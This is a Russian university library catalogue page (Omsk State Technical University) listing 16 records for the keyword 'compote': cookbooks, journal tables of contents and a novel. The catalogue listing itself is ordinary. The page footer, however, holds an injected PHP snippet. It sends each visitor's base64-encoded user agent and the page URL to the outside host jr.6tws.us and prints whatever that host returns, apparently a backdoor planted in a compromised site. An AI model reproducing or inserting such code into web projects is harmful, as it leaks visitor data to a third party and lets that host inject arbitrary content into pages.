Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

266 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=КОМПОТ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 16
1. 
Кулинария [Текст] / П. В. Абатуров [и др.] ; дар. В. С. Михайленко, 1955. - 959, [1] с.
Держатели документа (Информация об экземплярах) 
2. 
Десерты и напитки [Текст] / сост. Е. В. Шиш ; дар. В. А. Козлова, 1995. - 490, [1] с.
Держатели документа (Информация об экземплярах) 
3. 
Медкова, Ирина Львовна. Сюрпризы вегетарианского стола [Текст] / И. Л. Медкова, Т. Н. Павлова, 1994. - 236, [1] с.
Держатели документа (Информация об экземплярах) 
4. 
Постный стол [Текст] / ред., сост. Т. А. Ружинская, дар. А. В. Мышлявцев, 1999. - 345 с.
Держатели документа (Информация об экземплярах) 
5. 
Стандарты и качество. - Журнал, 2009г. № 7
Оглавление 
  • Воронин, Геннадий. Слово главного редактора / Г. Воронин. - с.1
  • Официально. - с.4
  • Гладков, Сергей Александрович. Инновации спасают от кризиса / С. А. Гладков. - с.6-8
  • Качество и надежность - путь к успеху. - с.9
  • Щербаков, Вячеслав. Россия - страна строительных чудес / В. Щербаков. - с.11-14
  • Щербаков, Вячеслав. Малый бизнес: не поддерживать, а создавать условия для развития / В. Щербаков. - с.15-18
  • Версан, Виля Георгиевич. Кризис и актуальные проблемы технического регулирования / В. Г. Версан, И. З. Аронов, А. В. Раков. - с.30-37
  • Оборонная промышленность совершенствует системы. - с.20-21
  • Ситниченко, Виктор Михайлович. Кризис менеджмента. Менеджмент кризиса / В. М. Ситниченко, А. Б. Кисилева, Е. А. Стоякин. - с.22-25
  • Школяры не будут сгибаться под бременем знаний. - с.26
  • Ввоз в Россию праворульных машин могут запретить. - с.26
  • Компот за вредность. - с.27
  • В Госдуму внесен техрегламент на пиво. - с.27
  • Плата за руль. - с.27
  • Технику запретят возвращать в магазины. - с.28
  • Борьба за соблюдение этикеток. - с.28
  • Соколов, Сергей. Своды правил и национальная система стандартизации / С. Соколов. - с.38-41
  • Не все то молоко, что белое. - с.42
  • Оржаховский, Марк Леопольдович. Комплекс стандартов безопасности / М. Л. Оржаховский. - с.44-46
  • Жулинский, Сергей Федорович. Электронный документооборот: достоинста и недостатки / С. Ф. Жулинский, М. А. Сорокин, А. М. Чубаров. - с.48-51
  • Таллер, Самиль Львович. Лучше поздно, чем никогда / С. Л. Таллер. - с.52-53
  • Нейман, Владимир Борисович. О согласованности нормативных документов / В. Б. Нейман. - с.54-55
  • Гордиенко, Татьяна Богдановна. Формирование и оптимизация системы технических комитетов по стандартизации в Украине / Т. Б. Гордиенко. - с.56-59
  • Новости международной стандартизации. - с.60-62
  • Белобрагин, Виктор Яковлевич. Движению за качество государственную и общественную поддержку / В. Я. Белобрагин, А. В. Николаев. - с.64-67
  • Аржаных, Алексей Иванович. Построение СМК на сельскохозяйственных предприятиях / А. И. Аржаных. - с.68-71
  • Муборакшоева, Дилоро. Предпосылки внедрения экологического менеджмента на электростанциях Республики Таджикистан / Д. Муборакшоева. - с.72-75
  • Габова, Ирина Яковлевна. Оценка риска в рамках интегрированной системы менеджмента на предприятиях атомной промышленности / И. Я. Габова, А. А. Екидин, И. Л. Манжуров. - с.76-79
  • Дворкин, Леонид Семенович. Оценка рисков - доступный инструмент / Л. С. Дворкин. - с.80
  • Ковалев, Алексей Иванович. Системы управления или системы руководства? / А. И. Ковалев. - с.81
  • Михайлова, Маргарита Ростиславна. Инструменты совершенствования менеджмента качества / М. Р. Михайлова. - с.82-85
  • Зеренков, Валерий Георгиевич. От качества жизни к качеству труда / В. Г. Зеренков. - с.86-88
  • Змиевский, Виталий Иосифович. Надо действовать! / В. И. Змиевский. - с.89-92
  • Иванов, Константин Юрьевич. Стандартизация гостиничных услуг / К. Ю. Иванов. - с.94-97
  • Огнева, Светлана Васильевна. Роль стандартизации в повышении эффективности деятельности гостиничного бизнеса / С. В. Огнева. - с.97-98
  • Дэниэлс, Сюзан. В сердце улучшений / С. Дэниэлс. - с.99-102
  • Целиков, Евгений Иванович. Путь к совершенству бесконечен / Е. И. Целиков. - с.104-107
Держатели документа (Информация об экземплярах) 
6. 
Огонек. - Журнал, 2010г. № 5
Оглавление 
  • Шеремет, Павел. В еде не бросят / П. Шеремет, К. Водопьянов. - с.4-5
  • Сизов, Андрей. Подмена понятий / А. Сизов. - с.5
  • Приоткрытие сезона. - с.6-7
  • Апрелев, Павел. Музыкант и наследники / П. Апрелев. - с.8
  • Шеремет, Павел. Формула успеха / П. Шеремет. - с.8
  • Радулова, Наталья. От работ поворот / Н. Радулова. - с.9
  • Херцог, Вернер. "В кино я хожу два-три раза в год" / В. Херцог. - с.10
  • Барышева, Елена. Камера матери и ребенка / Е. Барышева. - с.12-15
  • Михайлов, Константин. Невыносимая святыня / К. Михайлов. - с.16-18
  • Гусев, Владимир. Икона на выданье / В. Гусев, Н. Шергина. - с.16-17
  • Андронова, Анна. Рецепт все стерпит / А. Андронова. - с.19
  • Белянинов, Кирилл. Малыш и гарсон / К. Белянинов. - с.20-22
  • Вышенков, Евгений. Могучая кучка / Е. Вышенков. - с.20-21
  • Губин, Дмитрий. Зал неприлета / Д. Губин. - с.23
  • Барышева, Елена. Ванкувер-2010: Олимпиада и окрестности / Е. Барышева. - с.28-29
  • Доспехов, Алексей. Свести концы с кольцами / А. Доспехов. - с.30-31
  • Кикнадзе, Василий. "Задействованы все наши комментаторы" / В. Кикнадзе. - с.31
  • Журенков, Кирилл. Золотая жилка / К. Журенков. - с.32-33
  • Тихомиров, Владимир. Наука побеждать / В. Тихомиров. - с.34-35
  • Главные болельщики. - с.36
  • Роднина, Ирина. Нелегкий Инсбрук / И. Роднина. - с.37
  • Фетисов, Вячеслав. Скандал в Солт-Лейк-Сити / В. Фетисов. - с.38-39
  • Зима, спортсмены торжествуют. - с.38-39
  • Урбан, Кирилл. 10 олимпийцев высшей пробы / К. Урбан. - с.40
  • Тихомиров, Владимир. Ногам покоя не дают / В. Тихомиров, С. Скарлош. - с.41
  • Саркисов, Роман. "Мы показываем то, что смотрим сами" / Р. Саркисов. - с.42-43
  • Крымов, Дмитрий. "Мы для тех, кто компот ест первым" / Д. Крымов. - с.44-45
  • Котова, Людмила. СПА для пса / Л. Котова. - с.48-50
  • Рюмкин, Яков. "Лучшая доярка колхоза" / Я. Рюмкин. - с.54
Держатели документа (Информация об экземплярах) 
7. 
Хранение и переработка сельхозсырья. - Журнал, 2011г. № 1
Оглавление 
  • Физико-химические свойства полимерных композиций с использованием крахмала. - с.8-11
  • Влияние электроконтактной обработки на микроструктуру листьев петрушки. - с.11-14
  • Буянов, О. Н. Исследование процесса замораживания рыбы диоксидом углерода / О. Н. Буянов, Е. Н. Неверов. - с.14-16
  • Филатов, В. В. Методика аналитического расчета продолжительности термообработки капиллярно-пористых коллоидных материалов в термических камерах ИК-установок / В. В. Филатов. - с.16-19
  • Измерительный комплекс для регистрации температурных изменений в пищевых продуктах и материалах. - с.19-21
  • Ханжаров, Н. С. Тепло- и массообмен при вакуумно-атмосферной сушке верблюжьего и кобыльего молока / Н. С. Ханжаров. - с.21-23
  • Студенникова, О. Ю. Гидроколлоиды полисахаридной природы и вязкость пшеничной клейковины / О. Ю. Студенникова, В. В. Колпакова. - с.24-26
  • Вершинина, С. Э. Аминокислотный состав двух видов лишайников рода Cetraria / С. Э. Вершинина, О. Ю. Кравченко. - с.26-28
  • Коррекция режимов сушки по кратности рецирикуляции сухой и газовой фаз. - с.28-30
  • Крыницкая, А. Ю. К вопросу об эффективности методов стерилизации капустного сока / А. Ю. Крыницкая, Л. Д. Халиуллина, М. А. Сысоева. - с.30-31
  • Оптимизация сепарации зерновой смеси в зависимости от влажности. - с.32
  • Коваленок, В. А. Оценка макропористой структуры экструдатов из крахмалосодержащего сырья / В. А. Коваленок, В. Г. Карпов, И. С. Усачев. - с.33-35
  • Щеглов, Н. Г. Факторы, влияющие на величину парциального давления водяных паров / Н. Г. Щеглов. - с.36-40
  • Чеснокова, Н. Ю. Изучение возможности использования корня большого лопуха в производстве продуктов питания / Н. Ю. Чеснокова, Л. В. Левочкина, Н. В. Масалова. - с.40-43
  • Румянцев, С. В. Протеолитические ферментные препараты микробного, животного и растительного происхождения: сравнение каталитической активности и эффективности действия / С. В. Румянцев, М. С. Симонова. - с.44-46
  • Данильчук, Ю. В. Математическое моделирование экстракции фруктозы из инвертных сиропов изопропанолом / Ю. В. Данильчук, Ю. И. Сидоренко. - с.47-51
  • Белково-липидные композиты повышенной биологической ценности, ориентированные на достижение максимального технологического эффекта. - с.51-55
  • Мельникова, Е. И. Исследование реологических характеристик смесей для низкокалорийного плодово-ягодного мороженого / Е. И. Мельникова, А. А. Смирных, Е. В. Богданова. - с.56-57
  • Бабаев, Ш. М. Устройство для контроля солености пищевых продуктов / Ш. М. Бабаев, А. А. Аскерова. - с.58-60
  • Контроль ферропримесей пищевых сред: недостатки и основные концепции совершенствования нормативно-метрологической базы. - с.60-66
  • Быков, С. А. Комплексная оценка показателей качества образцов экстрактов растительного сырья на примере экстрактов кофе и кофейной оболочки / С. А. Быков, Е. А. Суздальская. - с.66-68
  • Обоснование технологических параметров производства концентрата рыбного белкового с помощью математического моделирования. - с.69-71
  • Егорова, Е. Ю. Закономерности формирования товароведно-технических характеристик круп быстрого приготовления с кедровым жмыхом / Е. Ю. Егорова, М. С. Бочкарев, В. М. Позняковский. - с.71-75
  • Демирова, А. Ф. Способ ступенчатой стерилизации консервов "Компот из яблок" в стеклянной таре СКО 1-82-1000 / А. Ф. Демирова, Т. А. Исмаилов, М. Э. Ахмедов. - с.76-77
Держатели документа (Информация об экземплярах) 
8. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост. М. Т. Лабзина, 2014. - 767, [1] с.
Держатели документа (Информация об экземплярах) 
9. 
Кулинарные рецепты: Из "Книги о вкусной и здоровой пище" [Текст] / сост. Л. И. Воробьева ; дар.: Л. К. Жарина, Л. К. Жарина, 1988. - 334, [1] с.
Ключевые слова 
ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ИКРА -- ПАШТЕТ -- СОУС -- МАЙОНЕЗ -- БУЛЬОН -- СУП -- ОКРОШКА -- МЯСО -- КОТЛЕТА -- ТЕФТЕЛИ -- ШНИЦЕЛЬ -- ПЕЛЬМЕНИ -- КУРИЦА -- ДИЧЬ -- РЫБА -- МОРЕПРОДУКТ -- ТВОРОЖНИКИ -- ВАРЕНИК -- БЛИНЧИКИ -- ЗАПЕКАНКА -- ПУДИНГ -- ОМЛЕТ -- ОВОЩИ -- ГРИБЫ -- КАРТОФЕЛЬ -- ФОРШМАК -- КАША -- ПЛОВ -- КЛЕЦКИ -- ЧЕБУРЕК -- КУКУРУЗА -- ФАСОЛЬ -- ГОРОХ -- ЧЕЧЕВИЦА -- ПИРОЖОК -- ВАТРУШКА -- БУЛКА -- ОЛАДЬИ -- РУЛЕТ -- ПИРОЖНОЕ -- ТОРТ -- КЕКС -- ПОНЧИК -- ХВОРОСТ -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- МУСС -- КРЕМ -- ПУДИНГ -- ШАРЛОТКА -- МАРИНАД -- СОЛЕНЬЕ -- МАРИНАД -- КОНСЕРВИРОВАНИЕ -- ЗАМОРАЖИВАНИЕ -- ЯГОДЫ
Держатели документа (Информация об экземплярах) 
10. 
Донцова, Дарья Аркадьевна. Компот из запретного плода [Текст] : роман / Дарья Донцова, 2005. - 382 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
11. 
Киселева, Вера Борисовна. Детская кухня [Текст] : Кн. для матерей о приготовлении пищи детям / В. Б. Киселева; В. С. Вайль, 1958. - 175 с.
Держатели документа (Информация об экземплярах) 
12. 
Сидорина Е. И. Современная кухня [Текст] : кулинар. рецепты из доступ. продуктов / Е. И. Сидорина, 1993. - 543 с.
Ключевые слова 
СЕРВИРОВКА СТОЛА -- ЗАКУСКА ХОЛОДНАЯ -- САЛАТ -- ВИНЕГРЕТ -- ПАШТЕТ -- ЗАЛИВНОЕ -- БУТЕРБРОД -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ РЫБЫ -- СЫР -- БЛЮДА ИЗ ЯИЦ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СУП ОВОЩНОЙ -- УХА -- СУП МОЛОЧНЫЙ -- СУП ГРИБНОЙ -- БЛИНЫ -- ОЛАДЬИ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- ЗАПЕКАНКА -- ПЛОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- СОУС -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО СЛОЕНОЕ -- ТОРТЫ -- ТЕСТО БИСКВИТНОЕ -- ПЕЧЕНЬЕ -- ХВОРОСТ -- ВАФЛИ -- КЕКС -- ПИРОГ -- КРЕМ МАСЛЯНЫЙ -- КРЕМ БЕЛКОВЫЙ -- КРЕМ ЗАВАРНОЙ -- МУСС -- ЖЕЛЕ -- КОМПОТ -- КИСЕЛЬ -- БЛЮДА СЛАДКИЕ -- ЗАГОТОВКИ -- КАПУСТА КВАШЕНАЯ -- КОНСЕРВИРОВАНИЕ -- МАРИНОВАНИЕ -- ВАРЕНЬЕ -- ДЖЕМ -- ЦУКАТЫ
13. 
Глебова, Екатерина Ильинична. Ягодный сад [Текст] / Е. И. Глебова, В. В. Даньков, М. М. Скрипниченко, 1990. - 206, [2] с.
Держатели документа (Информация об экземплярах) 
14. 
Микроволновая кухня каждый день [Текст] / сост. Ю. Р. Васильев ; дар. И. Ю. Морозов, 1995. - 383 с.
Держатели документа (Информация об экземплярах) 
15. 
Большая энциклопедия дома и семьи. В 2 т. Т.1. Семья. Жилище. Ребенок. Питание. Здоровье, спорт, отдых. Одежда, обувь, индивидуальный стиль [Текст] : энциклопедия, 2000. - 479 с.
16. 
Абатуров, Павел Васильевич. Сладкие блюда. Напитки [Текст] / П. В. Абатуров, Н. П. Цыпленков, 1958. - 136 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3215 - 29.03.2020
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 1.31 с.18 запросов, 0.87c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;